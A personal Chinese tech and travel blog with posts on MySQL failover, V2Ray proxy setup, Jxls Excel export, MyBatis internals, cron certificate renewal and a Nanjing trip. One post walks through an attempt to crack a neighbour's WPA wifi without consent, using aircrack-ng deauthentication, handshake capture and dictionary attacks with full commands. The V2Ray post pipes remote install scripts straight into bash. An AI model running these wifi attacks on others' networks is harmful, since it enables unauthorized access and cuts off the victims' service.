小站切换数据源

之前小站数据库是用的小鸡上的mysql,小鸡本身性能比较差,导致mysql经常挂,进而影响了小站的访问。此为前提。

第一步

既然经常挂,那挂了重启就可以,所以做了个定时任务

#!/bin/bash

mysql_status=$(systemctl  status mysqld | grep Active | awk -F'Active:' '{print $2}' | awk -F'since' '{print $1}')
if echo ${mysql_status}|egrep -vq 'active';then
        echo "mysql status is not health,restart mysql..." 
        systemctl restart mysqld
        echo "restart mysql success..."
fi

作用是查看mysql的状态是否是 active 如果不是 重启mysql,如果是就不管,每5分钟跑一次,后来发现有时候mysql重启时间会非常长,导致下次又进行检测的时候,上一次还没重启完。。。

此种方法放弃。

第二步

切换数据源。既然mysql在小鸡上不可靠,那就换一个可靠的数据源,有两个选项:

  • 1、把小站的数据源从mysql切换成sqllite
  • 2、在其他地方搭建一个mysql

方法1的问题是切换完成后,性能不一定能满足要求,并且需要改造代;

方法2的问题是需要花钱买新机器,性能还不能太差。

对比下来选择方法2,原因如下:

  • 1、搜了下阿里云和腾讯云,发现阿里云在做活动,99一年2C2G3M带宽,可以以每年99元 续费3年,对比下来很划算
  • 2、公司网络对外网访问做了控制,无法访问外网,对我这种有FQ工具随时翻的人来说 不那么自由,但正好可以用阿里云的服务器做转发,即流量 公司->阿里云->小鸡,这么一来,虽然公司仍然能够监控我的流量,但是我可以对流量进行加密,并且我没有直接访问外网,就变得相对不那么显眼

最后:在阿里云上安装mysql,小鸡远程连接数据库,速度上会慢一点,但胜在稳定,目前没有出现问题。

六朝古都-南京两日游记

写在前面:这是本小站新开的游记目录的第一篇文章,开游记目录的目的是想要把自己去过的地方风景及感想记录下来,等老去的时候可以回看(如果服务器能续费到那个时候的话,哈哈)。

起因是2019年家里老大需要去武汉考试,我全程作陪,负责后勤工作,考试两天没啥说的,就是呆在酒店2天,直到最后一天晚上去了武汉的江滩

当天在江滩拍摄的照片

木质的人行栈道,大约10米高(这么高的原因应该是为了应对洪水,2021年武汉洪水把栈道全淹没了,当时还对老大感叹了两句),深入到江边的水中,下面芦苇丛丛,在黑暗中随风摇摆,黄白相间,风一来,招招摇摇;举目四望,灯火辉煌,大桥上、远处摩天大楼上的灯光照在江面上,随着灯光颜色在不断的变化,江面也呈现出不一样的色彩,长江确实比黄河水要多,风吹来,能听到波涛声,真是应了“秋风萧瑟,洪波涌起”这句话。江滩可能晚上要比白天更值得去(夏天去应该是最好的,因为不冷。。。实话说风很大,冬天可能不是个好选择)。武汉这座城市给人的感觉挺发达的,高楼林立,水多,环境也好,下次有机会要再去,哈哈。

回到话题南京,当晚我们直奔南京,并打算花两天左右的时间游览这座六朝古都,话说用两天时间游览一座城市时间真的是非常紧张,即使做好规划,也非常累,好在南京大部分的景点门票很便宜(这点比济南强。。。),并且人不算非常多,基本不用排队,算是对我们的小小安慰。我个人虽然对自然景观更感兴趣,但对南京这座很有历史厚重感的城市,去人文景观可能是更好的选择,所以这两天我们去了南京总统府、中山陵、南京博物馆、夫子庙。吃了招牌鸭血粉丝汤、小笼蒸包,去吃了人非常多的南京大排档。

南京总统府
我家老大站在天平天国天王宫殿门口
上联是:尊天父,开天国,是非功罪千秋鉴
下联是:自金田,到金陵,成败兴亡一警钟
总统府会议室
历史课本上的大佬,如孙中山、蒋介石等都曾在此地开会讨论国家大事

去了才知道,太平天国天王府就在民国总统府里面,个人本身对太平天国和民国没有好恶,只是在看这些文物的时候会想:哇,原来古代皇帝这么有钱啊;哇,原来在一百年前,大人物们就开始坐真皮沙发了。。。,真的是贫穷限制了我的想象力,在任何时候,有钱有势的人享受的资源是我们这些小老百姓一辈子甚至几辈子都无法达到的。不过俱往矣,还是时间最牛最公平。

总统府内的香橼

香橼,长得像橘子,第一次见差点认为是橘子,还纳闷为啥橘子树这么高。。。非常尴尬了。
总体来说,总统府还是值得一去的,给人的感觉和故宫很像,看的就是历史感,如果对民国或者太平天国的历史非常了解,则更值得去。

博物院
博物院文物1
博物院文物2

南京博物院是中国三大博物馆之一,非常值得一去,特别是带孩子一块去。 面积很大,只是粗略一逛可能就需要很久,文物数量众多,并且价值极大,说价值连城一点都不为过,但是逛的时候貌似我家老大不是很感兴趣,所以丛丛忙忙就出来了,倒是在门口纪念品买的金蝉钥匙扣,这几年一直在老大的钥匙上挂着,并且也一直没有掉色(质量不错),这也倒不失为另一种纪念。

中山陵某一张图

中山陵,在山上,所以空气不错,然后没有其他特别让人印象深刻的东西了。。。推荐度不是很高,如果在南京玩很久的话可以去看看。

夫子庙(没有图。。。),实话实说,不是很值得去,大约相当于济南的芙蓉街,成都的宽窄巷子的样子,就是卖纪念品及小吃的地方。印象很深刻的就是鲜榨椰子汁,第一次喝,不甜不酸没有啥味道,我绝不会买第二次的东西。。。总体来讲没啥意思,不去也罢。

关于吃的, 我们吃的鸭血粉丝汤和小笼蒸包是在路边小巷子中吃的,感觉比夫子庙中的地道。至于南京大排档,口味偏咸,印象中鸭头不如成都的好吃(可能是不如成都的麻辣。。),并且人超级多,排了很久的队才吃上饭。回家后发现济南也有南京大牌档的分店。。。

总结:南京人文气息浓厚,历史很长久,景点多,门票便宜(可能政府有补贴,北京历史景点的门票也很便宜),还有很有特色的小吃,非常值得一去,可惜这次时间紧迫,只玩了几个景点,如果有机会下次再去。

暴力破解邻居wifi记

又有好长时间没有更新了,今天抽空再写一篇之前折腾而又没有结果的事情。

前言:前一段时间家里断网了,家里的网络是送的两年移动宽带,虽说网络不太好,但胜在免费,所以打算继续用,就给移动打电话维修,师傅上门之后整好了,临走时给我说可以换成光纤,速度更快,巴拉巴拉的,我心动之后上营业厅修改光纤,发现都是套路啊(说多了都是眼泪),切换光纤会有几天停网的间隙,身为不折腾不死星人,没网怎么能忍,所以就想蹭邻居的网络,无奈下载的什么wifi万能钥匙上传我自己的wifi密码倒是挺勤快的,邻居的wifi密码拿不到啊,这可不行,百度一下,想起他办法,在网上发现了这个:

1、kali Linux暴力破解WiFi密码
2、kali linux破解wifi密码-超详细过程
3、kali linux破解WiFi教程

教程有了,来吧

1、在网上买了个外置的无线网卡
2、安装kali虚机
3、按照教程开始鼓捣
(1)插上wifi接收器 ifconfig 检查是否接入成功
(2)airmon-ng start wlan0开启网卡监听模式
(3)airodump-ng wlan0mon,开始扫描WiFi,按ctrl+c结束任务
(4) 抓包,选取WiFi热点进行攻击 此操作一般不会直接抓到,因为用户很少在我们抓包的时候链接wifi,所以需要执行(5)让用户下线后重连
输入命令: airodump-ng -c 频道(ch) –bssid BSSID -w /root/桌面(用来存储抓包的目录)网卡名
如:airodump-ng -c 13 –bssid BC:5F:6F:3D:03:74 -w /home/wifi wlan0mon
(5) 新建一个终端,让选中的人断网:airepaly-ng -0 0 -c 连接到WiFi的mac地址 -a bssid 网卡名(一般为wlan0mon)
如:aireplay-ng -0 0 -c B8:37:65:94:5D:13 -a BC:5F:6F:3D:03:74 wlan0mon
原理为:先让设备掉线,设备会再自动连接,并发这个自动连接过程会进行三次握手,会发送tcp包(里面包含加密的密码数据),我方伪装成WiFi热点去窃取该数据包。我方窃取后即可用字典穷举法暴力破解加密的WiFi密码,数据包里面的密码是哈希加密的,哈希加密只能正向)
出现WPA handshake时,表示抓包成功
(6)两个终端都按Ctrl+c停止,不然那边会一直断网
(7)在网上找了个字典文件,下载
弱口令字典下载【密码字典】
(8)键入 aircrack-ng -w 字典路径 握手包路径,回车后开始爆破
如:aircrack-ng -w /usr/share/wordlists/rockyou.txt /home/wifi-0.1.cap

我跑了一晚上,把几个G的字典全部跑完了, 跑的我的电脑风扇呜呜的转,结果毛都没有一根,看来邻居的密码比较复杂,另外说明暴力破解wifi真的是个体力活。

流程优化

上面的教程中使用的是虚机,虚机的性能不好,但教程又必须使用kali,突然想到windows的WSL,直接运行在硬件上,性能相比虚拟机岂不是起飞?所以开整,参考:https://blog.csdn.net/brathon/article/details/96591006
安装kali linux on windows 之后发现安装的系统就是个空壳子,用网友的话说就是:

无所谓啦,linux有root权限啥不可以搞?没有工具就安装,切换源、安装工具集,在子系统上跑破解命令,速度确实快不少,不过字典表确实不太行,虽然很大,但不中用(???),最后我仍然没有破解掉邻居的wifi密码……

总结:
(1)wifi接收器得买,笔记本自带的不行
(2)暴力破解是个繁琐的体力活,也比较浪费时间,最好用性能比较高的电脑
(3)字典表一定要找一个好的,垃圾字典表没用,如果实在找不到,可以用命令生成字典表

小站复活

最近由于疫情影响,国外很多VPS被封,我的搬瓦工小鸡也不幸中招,加上我最近实在太忙,没时间管,所以小站一直上不去,最近忙里偷闲,搜了一下IP被封的情况下怎么解封的问题,发现使用v2ray+wsl+cloudflare变更DNS服务器即可实现

2020-9-28更新

配置wsl+cloudflare比较麻烦,不想折腾了,所以随遇而安的等待小站IP解封,其实随着年龄的增长,越来越不愿意折腾,反而逐渐接受了花点钱找更简单快捷的方式去解决问题。比如搬瓦工推出的JMS,价格比我的小站贵,但是可以自动切换被封的ip,不用担心ip被墙,省心省力不用折腾。话说回来现在搬瓦工的VPS越来越贵了,19.9美元/每年的价格现在看来真的是非常划算,所以我应该还是会续费这个小鸡的。

Jxls导出包含多个sheet的execl

最近在做一个功能,要求是导出包含多个sheet的execl文件,并且每个sheet的格式并不相同,格式如下所示:

比较懒,直接截图

项目中原来使用的是Jxls,相对最开始使用的POI导出execl,更简单一点,只需配置模板即可,Jxls的使用教程和模板配置,可以参考官网李狐同学的几篇文章,但是只能导出较为简单的execl,不能满足跨行和跨列的需求。继续寻找,找到 jxlss ,这个拓展了原有的merge标签合并单元格(这里需要注意的是,模板中不能合并单元格,合并后的单元格,不会再次合并,所以模板不会很美观……),并且支持多个sheet的导出,只需配置模板中的jx:each 的 multisheet 属性指定多个sheet的名称,就会生成多个sheet (教程)。看样子可以完美解决我的需求,大喜之下一顿操作,发现导出出错,报合并单元格被占用的错误(原错误没有截图),猜测是导出多个sheet时只支持相同格式的sheet,问原作者:

当天就恢复,好评

原作者提供了一个思路,通过if来判断导出的单元格的区域来实现多个不同的sheet,这种方式对相似的sheet可能管用,但对于不同sheet相差较大、甚至完全不同的sheet来说,实现非常复杂,所以,努力了半天之后放弃。

暂时想不到其他办法,只能硬上最笨的办法——导出多个execl后合将多个execl合并成一个execl的多个sheet,参考这里,这里将所有的execl合并为一个新的文件,项目中第一个文件比其他的文件更大,所以,我将其优化为将所有文件合并到第一个文件,这样就不需要合并复制第一个文件了(优化后速度有所提升,虽然只是临时办法)。

放代码:

写的Jxls的工具类

public class JxlsUtil {
    static {
        //添加自定义指令(可覆盖jxls原指令)
        //合并单元格(模板已经做过合并单元格操作的单元格无法再次合并)
        XlsCommentAreaBuilder.addCommandMapping("merge", MergeCommand.class);
    }

    /**
     * 下载文件
     *
     * @param path
     * @param name
     * @param response
     */
    public static void downLoad(String path, String name, HttpServletResponse response) {
        downLoad(path, name, response, true);
    }

    /**
     * 下载文件
     *
     * @param path
     * @param name
     * @param response
     */
    public static void downLoad(String path, String name, HttpServletResponse response, boolean delete) {
        BufferedInputStream bis = null;
        BufferedOutputStream bos = null;
        OutputStream fos = null;
        InputStream fis = null;
        try {
            String filename = URLEncoder.encode(name, "UTF-8");
            //构造一个读取文件的IO流对象
            InputStream ins = new FileInputStream(path);
            //放到缓冲流里面
            BufferedInputStream bins = new BufferedInputStream(ins);
            //获取文件输出IO流
            OutputStream outs = response.getOutputStream();
            //加上UTF-8文件的标识字符
            BufferedOutputStream bouts = new BufferedOutputStream(outs);
            //设置response内容的类型
            response.setContentType("application/x-download");
            //设置头部信息
            response.setHeader("Content-disposition", "attachment;filename=" + new String(name.getBytes("gb2312"), "ISO8859-1"));
            int bytesRead = 0;
            byte[] buffer = new byte[8192];
            //开始向网络传输文件流
            while ((bytesRead = bins.read(buffer, 0, 8192)) != -1) {
                bouts.write(buffer, 0, bytesRead);
            }
			//这里一定要调用flush()方法
            bouts.flush();
            ins.close();
            bins.close();
            outs.close();
            bouts.close();

        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                if (null != fis) {
                    fis.close();
                }
                if (null != bis) {
                    bis.close();
                }
                if (null != fos) {
                    fos.close();
                }
                if (null != bos) {
                    bos.close();
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
            // 判断是否需要删除源文件
            if (delete) {
                new File(path).delete();
            }
        }
    }


    public static void exportExcel(InputStream is, OutputStream os, Map<String, Object> model) throws IOException {
        Context context = PoiTransformer.createInitialContext();
        if (model != null) {
            for (String key : model.keySet()) {
                context.putVar(key, model.get(key));
            }
        }
        JxlsHelper jxlsHelper = JxlsHelper.getInstance();
        PoiTransformer transformer = (PoiTransformer) jxlsHelper.createTransformer(is, os);
        transformer.setLastCommentedColumn(200);
        //获得配置
        JexlExpressionEvaluator evaluator = (JexlExpressionEvaluator) transformer.getTransformationConfig().getExpressionEvaluator();
        //设置静默模式,不报警告
        evaluator.getJexlEngine().setSilent(true);
        //函数强制,自定义功能
        Map<String, Object> funcs = new HashMap<>(1);
        //添加自定义功能
        funcs.put("jx", new JxlsUtil());
        evaluator.getJexlEngine().setFunctions(funcs);
        //必须要这个,否者表格函数统计会错乱
        jxlsHelper.setUseFastFormulaProcessor(false).processTemplate(context, transformer);
        //并没什么卵用
//        jxlsHelper.setDeleteTemplateSheet(true);

    }

    public static String exportExcel(String templateName, File out, Map<String, Object> model) throws IOException {
        String templatePath = "templates/excel/" + templateName;
        if (null == out) {
            String output = System.currentTimeMillis() + ".xlsx";
            out = new File(output);
        }
        exportExcel(JxlsUtil.class.getClassLoader().getResourceAsStream(templatePath), new FileOutputStream(out), model);
        return out.getAbsolutePath();
    }


    /**
     * desc: 合并多个execl的每一个sheet到同一个execl文件的多个不同sheet,目前合并不能对时间格式进行处理,导出时需要将时间格式的数据转换为字符串格式导出
     *
     * @param filePathList 合并文件列表
     * @param megerToFirst 是否合并到第一个execl文件
     * @param delete       是否删除合并后生成的源文件
     * @return
     * @date 2019/10/14 16:10
     */
    public static String mergerExecl(List<String> filePathList, Boolean megerToFirst, Boolean delete) throws Exception {
        XSSFWorkbook newExcelCreat = new XSSFWorkbook();
        int startSheet = 0;
        String output = System.currentTimeMillis() + ".xlsx";
        if (megerToFirst) {
            startSheet = 1;
            newExcelCreat = new XSSFWorkbook(filePathList.get(0));
        }
        File out = new File(output);
        //这是一个要合并的excel文件地址集合
        for (int j = startSheet; j < filePathList.size(); j++) {
            //遍历每个源excel文件,fileNameList为源文件的名称集合
            XSSFWorkbook fromExcel = new XSSFWorkbook(filePathList.get(j));
            for (int i = 0; i < fromExcel.getNumberOfSheets(); i++) {
                //遍历每个sheet
                XSSFSheet oldSheet = fromExcel.getSheetAt(i);
                XSSFSheet newSheet = newExcelCreat.createSheet(oldSheet.getSheetName());
                copySheet(newExcelCreat, oldSheet, newSheet);
            }
            fromExcel.close();
        }
        //文件合并后的地址及名称
        FileOutputStream fileOut = new FileOutputStream(out);
        newExcelCreat.write(fileOut);
        fileOut.flush();
        fileOut.close();
        newExcelCreat.close();
        if (delete) {
            //删除各个源文件
            for (String fromExcelName : filePathList) {
                //遍历每个源excel文件
                File file = new File(fromExcelName);
                if (file.exists()) {
                    file.delete();
                }
            }
        }
        return out.getAbsolutePath();
    }

    private static void copyCellStyle(XSSFCellStyle fromStyle, XSSFCellStyle toStyle) {
        //此一行代码搞定
        toStyle.cloneStyleFrom(fromStyle);
    }

    private static void mergeSheetAllRegion(XSSFSheet fromSheet, XSSFSheet toSheet) {//合并单元格
        int num = fromSheet.getNumMergedRegions();
        CellRangeAddress cellR = null;
        for (int i = 0; i < num; i++) {
            cellR = fromSheet.getMergedRegion(i);
            toSheet.addMergedRegion(cellR);
        }
    }

    private static void copyCell(XSSFWorkbook wb, XSSFCell fromCell, XSSFCell toCell) {
        XSSFCellStyle newstyle = wb.createCellStyle();
        copyCellStyle(fromCell.getCellStyle(), newstyle);
        //toCell.setEncoding(fromCell.getEncoding());
        //样式
        toCell.setCellStyle(newstyle);
        if (fromCell.getCellComment() != null) {
            toCell.setCellComment(fromCell.getCellComment());
        }
        // 不同数据类型处理
        CellType fromCellType = fromCell.getCellType();
        toCell.setCellType(fromCellType);
        if (fromCellType == CellType.NUMERIC) {
			//这里数字格式实际上分为数字和时间,需要做判断,我在这里为了赶时间,将所有时间格式的内容转换为字符串类型
            toCell.setCellValue(fromCell.getNumericCellValue());
        } else if (fromCellType == CellType.STRING) {
            toCell.setCellValue(fromCell.getRichStringCellValue());
        } else if (fromCellType == CellType.BLANK) {
            // nothing21
        } else if (fromCellType == CellType.BOOLEAN) {
            toCell.setCellValue(fromCell.getBooleanCellValue());
        } else if (fromCellType == CellType.ERROR) {
            toCell.setCellErrorValue(fromCell.getErrorCellValue());
        } else if (fromCellType == CellType.FORMULA) {
            toCell.setCellFormula(fromCell.getCellFormula());
        }
    }

    private static void copyRow(XSSFWorkbook wb, XSSFRow oldRow, XSSFRow toRow) {
        toRow.setHeight(oldRow.getHeight());
        for (Iterator cellIt = oldRow.cellIterator(); cellIt.hasNext(); ) {
            XSSFCell tmpCell = (XSSFCell) cellIt.next();
            XSSFCell newCell = toRow.createCell(tmpCell.getColumnIndex());
            copyCell(wb, tmpCell, newCell);
        }
    }

    private static void copySheet(XSSFWorkbook wb, XSSFSheet fromSheet, XSSFSheet toSheet) {
        mergeSheetAllRegion(fromSheet, toSheet);
        //设置列宽
        for (int i = 0; i <= fromSheet.getRow(fromSheet.getFirstRowNum()).getLastCellNum(); i++) {
            toSheet.setColumnWidth(i, fromSheet.getColumnWidth(i));
        }
        for (Iterator rowIt = fromSheet.rowIterator(); rowIt.hasNext(); ) {
            XSSFRow oldRow = (XSSFRow) rowIt.next();
            XSSFRow newRow = toSheet.createRow(oldRow.getRowNum());
            copyRow(wb, oldRow, newRow);
        }
    }
}

导出调用片段示例

//sheet名称
List<String> sheetNames = Arrays.asList("xxxx", "xxxx", "xxx", "xxx");
//每个sheet的数据
List<?> dataList = Arrays.asList(xxxList, xxxList, xxxList, xxxList);
//Excel信息填充
try {
    Map<String, Object> data = new HashMap<>(2);
    for (int i = 0; i < templatesList.size(); i++) {
        String templateName = templatesList.get(i);
        data.put("userDatas", dataList.get(i));
        data.put("unitName", sheetNames.get(i));
        filePathList.add(JxlsUtil.exportExcel(templateName, null, data));
    }
    String filePath = JxlsUtil.mergerExecl(filePathList, true, true);
    JxlsUtil.downLoad(filePath, "导出名称", response);
} catch (Exception ex) {
    ex.printStackTrace();
}

存在的问题:
1、导出效率较慢,因为是保存到临时execl后复制合并execl生成最后结果,所以对大量数据的导出速度较慢。
2、目前无法导出时间,现在项目将时间转换为字符串导出。

参考:
https://blog.csdn.net/weixin_43569255/article/details/89513928
http://jxls.sourceforge.net/
https://www.cnblogs.com/foxlee1024/p/7616987.html

V2Ray实现KXSW

科学上网端口被墙了,可恶……

更可恶的是搬瓦工免费IP更换现在要收费了……售价8.几美元,要知道我这个小鸡买的时候才18美元,换个IP而已,至于这么坑吗!!!!

做个等等党吧,等搬瓦工IP更换免费或者降价再说吧……

2019-06-27 再更

先说结论:我又可以科学上网了,并且没有花钱(重要),重新搭建一下,更换了端口,又满血复活了,哈哈

1、验证IP和端口是否被墙链接:

(1)搬瓦工自己的:https://kiwivm.64clouds.com/main-exec.php?mode=blacklistcheck 自带的主要是检测IP有没有被封,端口不会检测,所以即使IP没有被封,端口被封的话,也可能无法科学上网。

(2)另一个:http://port.ping.pe/ 这一个比较好,可以同时检测IP和端口,我之前是因为端口被封了。

2、V2Ray(Project V)

我使用的是v2ray 搭建我的科学上网的服务器,v2ray介绍:https://v2ray.com/ 非常强大,不做介绍,有兴趣自己去找资料看。

3、搭建

有三种方式:

(1)官方的一键安装脚本:bash <(curl -L -s https://install.direct/go.sh)

(2)第三方大佬的傻瓜式一键安装脚本(我使用的是这个):bash <(curl -s -L https://233blog.com/v2ray.sh) 大佬官网:https://233blog.com/(好像不能访问,附上一键安装脚本:v2ray.txt 不能传sh结尾的文件,只能改成txt上传上来,使用时需要将后缀名称从txt改为sh,运行时必须加上sudo)

(3)另一个第三方大佬:https://github.com/Jrohy/multi-v2ray/blob/master/README.md#%E6%88%AA%E5%9B%BE

安装完成后,可以使用  systemctl start|restart|stop|status v2ray 来控制v2ray的运行。

可以用过修改/etc/v2ray/config.json文件来配置v2ray,包括端口号,加密方式,传输方式,多用户等,详见:https://v2ray.com/chapter_02/01_overview.html

4、客户端

使用v2rayN 来连接服务器,电脑端下载址:https://github.com/v2ray/v2ray-core/releases ,

手机端下载:BifrostV(https://apkpure.com/cn/bifrostv/com.github.dawndiy.bifrostv)、V2rayNG(https://github.com/2dust/v2rayNG)

电脑端配置:

上一步安装完成后,会提供对应的地址、端口、用户id、加密方式、传输协议等信息,一一填入下面的配置项即可实现科学上网。

image.png

手机端配置:

image.png

显示分享内容会出现二维码,用手机扫描二维码可直接使用电脑端配置。

5、WEB 管理面板

现在有很多开源的web的管理面板页面,包括:https://github.com/sprov065/sprov-ui、v2ray.fun等,不过我现在没用到这些,感觉都不够好,等支持多协议配置、多用户统计流量、流量计费、限流限速时在用。

MyBatis接收多个查询记录到Map及@MapKey注解初探

事件背景:
现有代码是两个List列表循环遍历做对比,如果两个列表的长度较大时,则时间复杂度为O(n*m),复杂度较高。其中一个列表是在数据库中查找的List<String> 形式,另一个是调接口返回的List<Object>形式,现考虑在数据库获取数据时,返回一个map,通过map.get(key),可直接对比,时间复杂度降为O(n)。之前做过mybatis返回List<Map<>>的方法,但对直接返回map不怎么了解,网上查阅资料,是使用@MapKey注解实现,在这里记录一下,以防忘记。

1、List<Map<String,String>>形式

使用下面的代码,如果返回多条记录,即有多个("123":“test”)、("124":"test1"),则MyBatis就会报错,因为MyBatis是把结果以("id":123)、("name":"Jack")的形式保存在Map中的;而如果返回只有一条包括了id和name的记录就没问题。

mapper:

Map<String,String> getUserIdToMap();

xml:

<select id="getUserIdToMap" resultType="java.util.Map">
    select id,name
    from manage_user_baseinfo
    where status = '在职'
</select>

2、解决方法

在mapper中,再加一个Map,并使用@MapKey注解

mapper:

@MapKey("id")
Map<String, Map<String, String>> getUserIdToMap();

xml:

<select id="getUserIdToMap" resultType="java.util.Map">
    select id,name
    from manage_user_baseinfo
    where status = '在职'
</select>

3、@MapKey初探

更新:2019-06-13 

先来看execute方法,代码如下:

public Object execute(SqlSession sqlSession, Object[] args) {
  Object result;
  switch (command.getType()) {
    case INSERT: {
    Object param = method.convertArgsToSqlCommandParam(args);
      result = rowCountResult(sqlSession.insert(command.getName(), param));
      break;
    }
    case UPDATE: {
      Object param = method.convertArgsToSqlCommandParam(args);
      result = rowCountResult(sqlSession.update(command.getName(), param));
      break;
    }
    case DELETE: {
      Object param = method.convertArgsToSqlCommandParam(args);
      result = rowCountResult(sqlSession.delete(command.getName(), param));
      break;
    }
    case SELECT:
      if (method.returnsVoid() && method.hasResultHandler()) {
        executeWithResultHandler(sqlSession, args);
        result = null;
      } else if (method.returnsMany()) {
        result = executeForMany(sqlSession, args);
      } else if (method.returnsMap()) {
        result = executeForMap(sqlSession, args);
      } else if (method.returnsCursor()) {
        result = executeForCursor(sqlSession, args);
      } else {
        Object param = method.convertArgsToSqlCommandParam(args);
        result = sqlSession.selectOne(command.getName(), param);
      }
      break;
    case FLUSH:
      result = sqlSession.flushStatements();
      break;
    default:
      throw new BindingException("Unknown execution method for: " + command.getName());
  }
  if (result == null && method.getReturnType().isPrimitive() && !method.returnsVoid()) {
    throw new BindingException("Mapper method '" + command.getName() 
        + " attempted to return null from a method with a primitive return type (" + method.getReturnType() + ").");
  }
  return result;
}

这个方法是mybatis具体的执行方法,可以看到,增删改查对应不同情况,这里我们的查询会走 SELECT分支的executeForMap方法,进去看是怎么实现的,代码如下,

private <K, V> Map<K, V> executeForMap(SqlSession sqlSession, Object[] args) {
  Map<K, V> result;
  Object param = method.convertArgsToSqlCommandParam(args);
  if (method.hasRowBounds()) {
    RowBounds rowBounds = method.extractRowBounds(args);
    result = sqlSession.<K, V>selectMap(command.getName(), param, method.getMapKey(), rowBounds);
  } else {
    result = sqlSession.<K, V>selectMap(command.getName(), param, method.getMapKey());
  }
  return result;
}

这里,convertArgsToSqlCommandParam是参数相关,RowBounds与分页相关,先不管,其中method.getmapKey就是注解中的key值,继续往下走,看selectMap方法,

@Override
public <K, V> Map<K, V> selectMap(String statement, Object parameter, String mapKey, RowBounds rowBounds) {
  final List<? extends V> list = selectList(statement, parameter, rowBounds);
  final DefaultMapResultHandler<K, V> mapResultHandler = new DefaultMapResultHandler<K, V>(mapKey,
      configuration.getObjectFactory(), configuration.getObjectWrapperFactory(), configuration.getReflectorFactory());
  final DefaultResultContext<V> context = new DefaultResultContext<V>();
  for (V o : list) {
    context.nextResultObject(o);
    mapResultHandler.handleResult(context);
  }
  return mapResultHandler.getMappedResults();
}

可以看到,查询主要是selectList(statement,parameter,rowBounds)方法,返回的是List<Map>类型,这里不讲(这里我还没看……),这个方法没有用到mapKey,接着向下看,应该是

 for (V o : list) {
    context.nextResultObject(o);
    mapResultHandler.handleResult(context);
  }

这个for循环在起作用。这里,nextResultObject()方法是一个类似于初始化的工作,继续看handleResult()方法,

@Override
public void handleResult(ResultContext<? extends V> context) {
  final V value = context.getResultObject();
  final MetaObject mo = MetaObject.forObject(value, objectFactory, objectWrapperFactory, reflectorFactory);
  // TODO is that assignment always true?
  final K key = (K) mo.getValue(mapKey);
  mappedResults.put(key, value);
}

这里的value对象类型为Map,MetaObject.forObject(value, objectFactory, objectWrapperFactory, reflectorFactory)这句应该是将Map对象转成MetaObject对象,然后通过mapKey取出对应属性的值。进getValue(mapKey)方法,

public Object getValue(String name) {
  PropertyTokenizer prop = new PropertyTokenizer(name);
  if (prop.hasNext()) {
    MetaObject metaValue = metaObjectForProperty(prop.getIndexedName());
    if (metaValue == SystemMetaObject.NULL_META_OBJECT) {
      return null;
    } else {
      return metaValue.getValue(prop.getChildren());
    }
  } else {
    return objectWrapper.get(prop);
  }
}

这里通过反射拿到id对应的值,然后上一层放入mapperResults中,最后在selectMap方法中返回getMapperResults(),得到Map形式的返回结果。

(有想法把mybatis的源代码看一遍,不知道我这个懒癌加拖延症重度患者能不能看完……)

SpringMVC、mybatis 时间参数格式化

在Spring 中时间格式是不会自动解析的,因此需要对传入的参数进行格式化操作,今天写代码整理了两种方式,在此简简单记录一下。

方法一:在实体类里用注解进行解析:

前台传参使用@DateTimeFormt注解:

@DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss")
private Date timeStart;
@DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss")
private Date timeEnd;

后台从库中查询使用jackson包中的注解@JsonFormat

@JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss",timezone = "GMT+8"
private Date time;

或使用FastJson 包中的@JSONField(format = "yyyy-MM-dd HH:mm:ss")注解。

此时mybatis 的xml 中可以使用>=或<=判断,如:

table.time>=#{timeStart} and table.time<=#{timeEnd}

或,统一成unix timestamp的形式(感觉这种方式更放心一点……):

unix_timestamp(table.time) >= unix_timestamp(#{timeStart}) and unix_timestamp(table.time) <= unix_timestamp(#{timeEnd})

或,使用between and的形式:

table.time between #{timeStart} and #{timeEnd}

 方法二,前端参数使用String,后端返回不变

 private String timeStart;
 private String timeEnd;

此时,mybatis 的xml 中使用data_format先格式化后判断

date_format(table.time,'%Y-%m-%d %H:%i:%s')&gt;=#{timeStart}
date_format(table.time,'%Y-%m-%d %H:%i:%s')&lt;=#{timeEnd}

注:注意date_format函数的年月日模式表示,如果转换模式错误,同样接收不到参数(此处有坑),配置教程:http://www.w3school.com.cn/sql/func_date_format.asp

定时更新Lets encrypt 证书

Lets Encrypt证书的有效期只有90天,但可以在快过期时更新证书,因此采用定时任务更新证书有效期。

命令:

    # 更新证书 
    certbot renew --dry-run
    # 如果不需要返回的信息,可以用静默方式
    certbot renew --quiet

修改contab(事实证明修改这里是错误的!!

    vim  etc/crontab

我设置每月1号5时执行执行一次更新,并重启nginx服务器,在打开的文件中填写下面的内容,

    00 05 01 * * certbot renew --quiet && systemctl restart nginx

更正(2018-12-26)后方法:

之前写完自动更新后没有管他,结果前几天Let Encrypt给我发邮件说我的证书快过期了……发现之前的自动更新证书的定时任务没管用,今天上网查了一下,发现之前写定时任务的地方写错了,应该是

(1)crontab -e 编辑定时任务

image.png

打开后重新设置为每月1好的3点30更新。

(2)crontab -l 查看定时任务

遇到的坑:

1)定时任务没有精确到秒,所以解决方法

    (a)在定时任务里让任务睡几秒,然后执行,比较取巧(参考上面图片的第一行内容)

    (b)写shell,在shell脚本里使用for语句实现循环指定秒数执行

        参考:https://blog.csdn.net/z13615480737/article/details/79738319

2)上面定时任务中 test.sh 为定时打印系统时间,内容为

image.png

写crontab时,*/1 * * * *  sh /home/test.sh  不知道为什么test.log里就是没内容,没法确定定时任务是否执行,但是在命令行 执行  sh /home/test.sh 可以执行……

        后来改为了 * * * * *  cd /home/;sh test.sh可以打印了,如下图,

        image.png